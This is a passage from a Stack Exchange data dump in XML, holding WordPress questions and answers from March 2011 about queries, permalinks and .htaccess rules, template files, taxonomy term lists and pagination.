LastActivityDate="2011-03-26T17:20:22.633" CommentCount="4" />
  <row Id="13100" PostTypeId="1" AcceptedAnswerId="13101" CreationDate="2011-03-25T23:49:11.563" Score="0" ViewCount="221" Body="&lt;p&gt;I have a custom table inside my wordpress database called test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if i query this table using mysql_query() instead of using for example $wpdb-&gt;get_results()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this affect my performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty very much:)&lt;/p&gt;&#xA;" OwnerUserId="2979" LastActivityDate="2011-03-26T10:50:14.627" Title="Use mysql_query instead of $wpdb query" Tags="&lt;query&gt;&lt;wpdb&gt;" AnswerCount="2" />
  <row Id="13101" PostTypeId="2" ParentId="13100" CreationDate="2011-03-26T00:23:05.437" Score="2" ViewCount="" Body="&lt;p&gt;Simple and short:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysql_query() = &lt;strong&gt;Faster!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;$wpdb-&gt;get_results() = &lt;strong&gt;Safer!&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But in most cases since &lt;code&gt;$wpdb&lt;/code&gt; is a global object and already in the memory using it will be be as fast as &lt;code&gt;mysql_query()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will this affect my performance?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It can affect for better performance changes but they would be minor changes that its just not worth it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-26T00:23:05.437" />
  <row Id="13102" PostTypeId="2" ParentId="13086" CreationDate="2011-03-26T01:01:44.747" Score="2" ViewCount="" Body="&lt;p&gt;If the differences in the pages are just query arguments the you can add query vars and use them in the same template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//add your arguments to query vars&#xA;add_filter('query_vars', 'my_query_vars');&#xA;&#xA;function my_query_vars($vars) {&#xA;    // add my_sortand ptype to the valid list of variables you can add as many as you want&#xA;    $new_vars = array('my_sort','ptype');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;your query should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_posts = new WP_Query(); ?&amp;gt;&#xA;&amp;lt;?php $custom_posts-&amp;gt;query(array('post_type' =&amp;gt; get_query_var('ptype'), 'order' =&amp;gt; get_query_var('my_sort'))); ?&amp;gt;&#xA;&amp;lt;?php while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;content-block-2&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you links for the user should be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ASC: url + ?ptype=bbp_topic&amp;amp;my_sort=ASC&lt;/li&gt;&#xA;&lt;li&gt;DESC: url + ?ptype=bbp_topic&amp;amp;my_sort=DESC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now&lt;/strong&gt; if your differences in the pages are more then query arguments you can change the template page using &lt;code&gt;template_redirect&lt;/code&gt; hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;same as before add your query arg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   //add your arguments to query vars&#xA;    add_filter('query_vars', 'my_query_vars');&#xA;&#xA;    function my_query_vars($vars) {&#xA;        // add my_sort to the valid list of variables &#xA;        $new_vars = array('my_sort');&#xA;        $vars = $new_vars + $vars;&#xA;        return $vars;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add a function to the template_redirect hook and create the redirection based of that argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;template_redirect&quot;, 'sort_template_redirect');&#xA;// Template selection&#xA;function sort_template_redirect()&#xA;{&#xA;    global $wp;&#xA;    global $wp_query;&#xA;    if (isset($wp-&amp;gt;query_vars[&quot;my_sort&quot;]))&#xA;    {&#xA;        // Let's look for the template file in the current theme&#xA;        if (array_key_exists('my_sort', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['my_sort'] == 'ASC'){&#xA;            include(TEMPLATEPATH . '/single-asc.php');&#xA;            die();&#xA;        }&#xA;        if (array_key_exists('my_sort', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['my_sort'] == 'DESC'){&#xA;            include(TEMPLATEPATH . '/single-desc.php:');&#xA;            die();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and once again you will need to add the args to the link so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ASC: url + ?my_sort=ASC&lt;/li&gt;&#xA;&lt;li&gt;DESC: url + ?my_sort=DESC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-26T01:01:44.747" CommentCount="3" />
  <row Id="13103" PostTypeId="2" ParentId="12930" CreationDate="2011-03-26T01:14:42.427" Score="1" ViewCount="" Body="&lt;p&gt;Follow the Instruction on &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Create A Network&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-03-26T01:14:42.427" />
  <row Id="13104" PostTypeId="2" ParentId="11711" CreationDate="2011-03-26T01:56:27.963" Score="1" ViewCount="" Body="&lt;p&gt;This is the wrong usage of using get_template_part as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part(‘sidebar’,2); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the correct one. (Since the file name was sidebar-2.php.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part('sidebar','2'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also the correct one. (More direct approach)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part('sidebar-2'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed that you type the symbol of ‘ and ’ inside the code ‘sidebar’. It should be 'sidebar'. Or else it may not working. You should aware the symbol on your keyboard&lt;/p&gt;&#xA;" OwnerUserId="4227" LastActivityDate="2011-03-26T01:56:27.963" />
  <row Id="13105" PostTypeId="2" ParentId="9978" CreationDate="2011-03-26T02:02:51.437" Score="1" ViewCount="" Body="&lt;p&gt;Check this out. I make a slide to you better understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rozanighani.com/2011/01/how-does-get_template_part-works-in-twenty-ten-theme/&quot; rel=&quot;nofollow&quot;&gt;How Does get_template_part Works In Twenty Ten Theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4227" LastActivityDate="2011-03-26T02:02:51.437" CommentCount="1" />
  <row Id="13106" PostTypeId="2" ParentId="11561" CreationDate="2011-03-26T02:08:22.507" Score="0" ViewCount="" Body="&lt;p&gt;xoxo is a micro format class which allow the data to easily for most browsers including mobile browser. You can use more than one class or as many class class in any html properties. See example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot; class=&quot;class-1 class-2 class-3 class-4&quot; role=&quot;complementary&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4227" LastActivityDate="2011-03-26T02:08:22.507" />
  <row Id="13108" PostTypeId="2" ParentId="12188" CreationDate="2011-03-26T03:04:10.790" Score="0" ViewCount="" Body="&lt;p&gt;The solution I found was to get in touch with my webhost and have them up the PHP memory limit on my account from 64MB to 128MB. The problem went away after that.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2011-03-26T03:04:10.790" />
  <row Id="13109" PostTypeId="2" ParentId="12989" CreationDate="2011-03-26T03:28:10.177" Score="2" ViewCount="" Body="&lt;p&gt;My favorite captcha plugin is &lt;a href=&quot;http://code.google.com/apis/recaptcha/docs/wordpress.html&quot; rel=&quot;nofollow&quot;&gt;reCaptcha&lt;/a&gt;. The captcha images are scans from old, damaged books. A computer identifies possibilities with OCR, then the user, in correctly filling out the captcha, confirms it. It helps digitize whole books this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an initiative by Google. Read about them &lt;a href=&quot;http://www.google.com/recaptcha/whyrecaptcha&quot; rel=&quot;nofollow&quot;&gt;on their website&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4228" LastActivityDate="2011-03-26T03:28:10.177" CommentCount="2" />
  <row Id="13110" PostTypeId="1" AcceptedAnswerId="13111" CreationDate="2011-03-26T04:10:39.700" Score="0" ViewCount="71" Body="&lt;p&gt;I am using a short piece of code(which is modified, originally it was a plugin-Taxonomy Terms List) to display custom taxonomies after the post,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the terms are displayed, it is displayed with a &lt;code&gt;href&lt;/code&gt; tag.&#xA;I don't want the terms to be a link, I just want simple terms text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !function_exists( 'pr' ) ) {&#xA;    function pr1( $var ) {&#xA;        print '&amp;lt;pre&amp;gt;' . print_r( $var, true ) . '&amp;lt;/pre&amp;gt;';&#xA;    }&#xA;}&#xA;&#xA;if( !function_exists( 'mfields_taxonomy_terms_list1' ) ) {&#xA;    function mfields_taxonomy_terms_list1( $c ) {&#xA;        global $post;&#xA;        $o = '';&#xA;&#xA;        $terms = array();&#xA;        $lists = array();&#xA;        $custom_taxonomy_names = array();&#xA;        $custom_taxonomies = mfields_get_custom_taxonomies1();&#xA;&#xA;        if( !empty( $custom_taxonomies ) )&#xA;            foreach( $custom_taxonomies as $name =&amp;gt; $config )&#xA;                $custom_taxonomy_names[] = $config-&amp;gt;name;&#xA;&#xA;        if( !empty( $custom_taxonomy_names ) )&#xA;            $terms = get_terms( $custom_taxonomy_names );&#xA;&#xA;        foreach( $custom_taxonomies as $name =&amp;gt; $config )&#xA;            $o.= get_the_term_list( $post-&amp;gt;ID, $name, $before = '', $sep = ' | ', $after = '' );&#xA;&#xA;        if( is_single() )&#xA;            return $c . $o;&#xA;&#xA;        return $c;&#xA;    }&#xA;&#xA;    add_shortcode('terms1', 'mfields_taxonomy_terms_list1');&#xA;}&#xA;&#xA;if( !function_exists( 'mfields_get_custom_taxonomies1' ) ) {&#xA;    function mfields_get_custom_taxonomies1( ) {&#xA;        global $wp_taxonomies;&#xA;&#xA;        $custom_taxonomies = array();&#xA;        $default_taxonomies = array( 'post_tag', 'category', 'link_category' );&#xA;&#xA;        foreach( $wp_taxonomies as $slug =&amp;gt; $config ) &#xA;            if( !in_array( $slug, $default_taxonomies ) )&#xA;                $custom_taxonomies[$slug] = $config;&#xA;&#xA;        return $custom_taxonomies;&#xA;    }&#xA;}&#xA;&#xA;add_action( 'wp_print_scripts', 'enqueue_slideout' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-26T09:45:23.813" LastActivityDate="2011-03-26T09:45:23.813" Title="Remove a href from this code" Tags="&lt;custom-taxonomy&gt;&lt;links&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="13111" PostTypeId="2" ParentId="13110" CreationDate="2011-03-26T04:43:09.687" Score="2" ViewCount="" Body="&lt;p&gt;You could use get_the_terms() instead: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This just gives you an array of the associated terms. Then use that array to create your own list without links.&lt;/p&gt;&#xA;" OwnerUserId="4161" LastActivityDate="2011-03-26T04:43:09.687" />
  <row Id="13112" PostTypeId="2" ParentId="11580" CreationDate="2011-03-26T04:52:22.050" Score="2" ViewCount="" Body="&lt;p&gt;You don’t new »statements«. Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Category_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;: WP does most of the work for you. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;1. Find the name&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Just create a new post list template, similar to your index.php and name it &lt;strong&gt;category-slug.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the &lt;strong&gt;slug&lt;/strong&gt; part, go to &lt;code&gt;wp-admin/edit-tags.php?taxonomy=category&lt;/code&gt; and look at the column named … slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/LJjW9.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://i.stack.imgur.com/LJjW9.png&quot; rel=&quot;nofollow&quot;&gt;See the full size image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example image the slug for the category &lt;strong&gt;Cat A&lt;/strong&gt; is &lt;strong&gt;cata&lt;/strong&gt;, so your template’s name has to be &lt;strong&gt;category-cata.php&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2. Write the template&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;That is even easier: Include your usual suspects (header, sidebar, footer) and put a very basic loop inside.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sample code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php # -*- coding: utf-8 -*-&#xA;get_header();&#xA;get_sidebar();&#xA;?&amp;gt;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php wp_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;ul class=&quot;postlist&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;while ( have_posts() )&#xA;{&#xA;    the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;li &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php&#xA;    the_post_thumbnail();&#xA;    // If you need the full content, use&#xA;    // the_content();&#xA;    // wp_link_pages();&#xA;    the_excerpt();&#xA;    ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;echo get_previous_posts_link(), get_next_posts_link();&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;get_footer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WordPress will choose the template automagically, you have nothing more to do.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Style the template&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In your theme’s header the element &lt;code&gt;body&lt;/code&gt; or the element &lt;code&gt;html&lt;/code&gt; (if you use HTML5 already) should have a call to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html lang=&quot;&amp;lt;?php bloginfo('language'); ?&amp;gt;&quot; &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure your theme has it. On your new category archive the class attribute will look very similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;archive category category-cata category-58 logged-in admin-bar&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;code&gt;category-cata&lt;/code&gt;. You may now add special rules to your stylesheet (usually &lt;code&gt;style.css&lt;/code&gt;) to change only this page.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Sample code&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.archive.category-cata&#xA;{&#xA;    background: #345;&#xA;    color:      #fff;&#xA;}&#xA;/* The thumbnails */&#xA;body.archive.category-cata .attachment-post-thumbnail&#xA;{&#xA;    float:      left;&#xA;    margin:     0 10px 10px 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;br&gt;&#xA; &lt;br&gt;&#xA; &lt;br&gt;&#xA;And that’s all.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T04:52:22.050" />
  <row Id="13113" PostTypeId="1" AcceptedAnswerId="13146" CreationDate="2011-03-26T05:32:58.740" Score="0" ViewCount="101" Body="&lt;p&gt;I am pretty new to this and hence facing a bit of  a problem. Currently I am designing a website on my localhost using WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that the permalink structure wasn't very appealing in the default mode. I then found that it can be changed through settings and after looking around I found that I wanted &lt;code&gt;%postname%&lt;/code&gt; as my custom structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After making the change all my links seem to be broken! I cannot access any of the pages or posts.. After searching a bit I found that certain changes need to be made in htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks&lt;/a&gt; the content in the file should be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress &#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt; RewriteEngine On&#xA;RewriteBase / RewriteCond&#xA;%{REQUEST_FILENAME} !-f RewriteCond&#xA;%{REQUEST_FILENAME} !-d RewriteRule .&#xA;/index.php [L] &amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On opening the htaccess file the contents were: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress &#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt; RewriteEngine On&#xA;RewriteBase /wordpress/ RewriteRule&#xA;^index\.php$ - [L] RewriteCond&#xA;%{REQUEST_FILENAME} !-f RewriteCond&#xA;%{REQUEST_FILENAME} !-d RewriteRule .&#xA;/wordpress/index.php [L] &amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But neither of the two seem to work.&lt;/p&gt;&#xA;" OwnerUserId="4230" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-06-30T09:18:15.417" LastActivityDate="2011-06-30T09:18:15.417" Title="Changing permalink of WordPress" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;3.1&gt;&lt;page&gt;&lt;plugin-custom-permalinks&gt;" AnswerCount="3" />
  <row Id="13114" PostTypeId="2" ParentId="13113" CreationDate="2011-03-26T05:56:28.237" Score="1" ViewCount="" Body="&lt;p&gt;Your line breaks are wrong. This is the correct code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T05:56:28.237" />
  <row Id="13115" PostTypeId="2" ParentId="7635" CreationDate="2011-03-26T06:14:06.863" Score="0" ViewCount="" Body="&lt;p&gt;The Pro: You can reuse native WP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contra: You have to write your own taxonomy selector to avoid posts tagged with more than one language. The plugin &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; from &lt;a href=&quot;http://wordpress.stackexchange.com/users/205/scribu&quot;&gt;@scribu&lt;/a&gt; should guide you to a more flexible approach.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T06:14:06.863" CommentCount="1" />
  <row Id="13116" PostTypeId="2" ParentId="11444" CreationDate="2011-03-26T06:20:55.830" Score="0" ViewCount="" Body="&lt;p&gt;Go to &lt;a href=&quot;http://web-sniffer.net/&quot; rel=&quot;nofollow&quot;&gt;http://web-sniffer.net/&lt;/a&gt; and enter the URL of your site. Extend your question with the result of the tool.&lt;br&gt;&#xA;Especially the Cache-Control and Expires headers are important. If they are set for a very long time your visitor’s browsers will often use their internal cache.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T06:20:55.830" />
  <row Id="13117" PostTypeId="1" AcceptedAnswerId="13123" CreationDate="2011-03-26T06:47:22.870" Score="0" ViewCount="54" Body="&lt;p&gt;I am using a function to display the URL on title tag, I coded this function which works properly but I would like to customize it more further.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function title_tag()&#xA;{&#xA;$a = $_SERVER['REQUEST_URI'];&#xA;$b = strtoupper($a);&#xA;$c = str_replace('-', ' ', $b);&#xA;$d = str_replace('/', ' - ', $c);&#xA;&#xA;$e = substr($d, 2);&#xA;return $e;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will display the url on title after inserting this code in title tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;&amp;lt;?php echo title_tag(); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The current code is displaying the title in this format, &#xA;my title of website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;STANFORD UNIVERSITY - MBA IN CALIFORNIA - MBA -&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want to display it in this format, just the change in punctuations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;STANFORD UNIVERSITY - MBA IN CALIFORNIA, MBA -&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a comma as separator in between&#xA;How can I have this?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-03-26T08:47:37.740" Title="title tag function" Tags="&lt;customization&gt;&lt;urls&gt;&lt;tags&gt;&lt;title&gt;" AnswerCount="1" />
  <row Id="13118" PostTypeId="1" AcceptedAnswerId="14292" CreationDate="2011-03-26T06:55:11.447" Score="1" ViewCount="51" Body="&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;?php get_template_part( 'pagination', 'bbp_replies' ); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php query_posts('gdsr_sort=thumbs&amp;amp;post_type=bbp_reply&amp;amp;posts_per_page=2'); ?&amp;gt;&#xA;            &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php  the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php while ( bbp_replies() ) : bbp_the_reply(); ?&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;topic-entry&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;topic-author&quot;&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'avatar' ) ); ?&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_author_link( array( 'type' =&amp;gt; 'name' ) ); ?&amp;gt;&#xA;                        &amp;lt;?php printf( __( '%1$s', 'bbpress' ), get_the_date() ); ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;topic-content&quot;&amp;gt;&#xA;                        &amp;lt;?php bbp_reply_content(); ?&amp;gt;&#xA;                        &amp;lt;span class=&quot;like-counter&quot;&amp;gt;&amp;lt;?php DisplayVotes(get_the_ID()); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;?php bbp_reply_admin_links(); ?&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;query_posts&lt;/code&gt; loop list the 2 most voted replies. The second bbPress loop list all other replies in DESC order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I encounter bugs if I have these two loops in a same file template? &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-04-08T13:32:34.670" Title="It is possible to encounter horrible bugs if I place a main loop that uses `query_posts` right above the main bbPress loop?" Tags="&lt;loop&gt;&lt;bbpress&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="13119" PostTypeId="1" AcceptedAnswerId="13120" CreationDate="2011-03-26T07:31:19.760" Score="0" ViewCount="95" Body="&lt;p&gt;For example, I want to query posts in a page. But I don't want to show them when the user clicks the pagination links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much like what happens in Youtube. You only see the Top comments in the first page but when you click &lt;code&gt;Next&lt;/code&gt; they disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Query the posts if it is the first page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/taiwantalk/forums/topic/technology-topic-11/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't query them if it is the second page or any other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/taiwantalk/forums/topic/technology-topic-11/page/2/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-26T09:41:44.130" LastActivityDate="2011-03-26T09:41:44.130" Title="Querying posts only if the current page is not paged?" Tags="&lt;query-posts&gt;&lt;pagination&gt;&lt;paged&gt;" AnswerCount="2" />
  <row Id="13120" PostTypeId="2" ParentId="13119" CreationDate="2011-03-26T07:36:39.370" Score="1" ViewCount="" Body="&lt;p&gt;The current page number is available in a global variable &lt;code&gt;$paged&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset ( $GLOBALS['paged'] ) or ( $GLOBALS['paged'] &amp;lt; 2 ) )&#xA;{&#xA;    // run your code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-26T07:36:39.370" CommentCount="3" />
  <row Id="13121" PostTypeId="2" ParentId="13119" CreationDate="2011-03-26T07:42:29.990" Score="3" ViewCount="" Body="&lt;p&gt;The same, with built-in function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( ! get_query_var('paged')) : ?&amp;gt;&#xA;    { your code here }&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-03-26T07:42:29.990" />
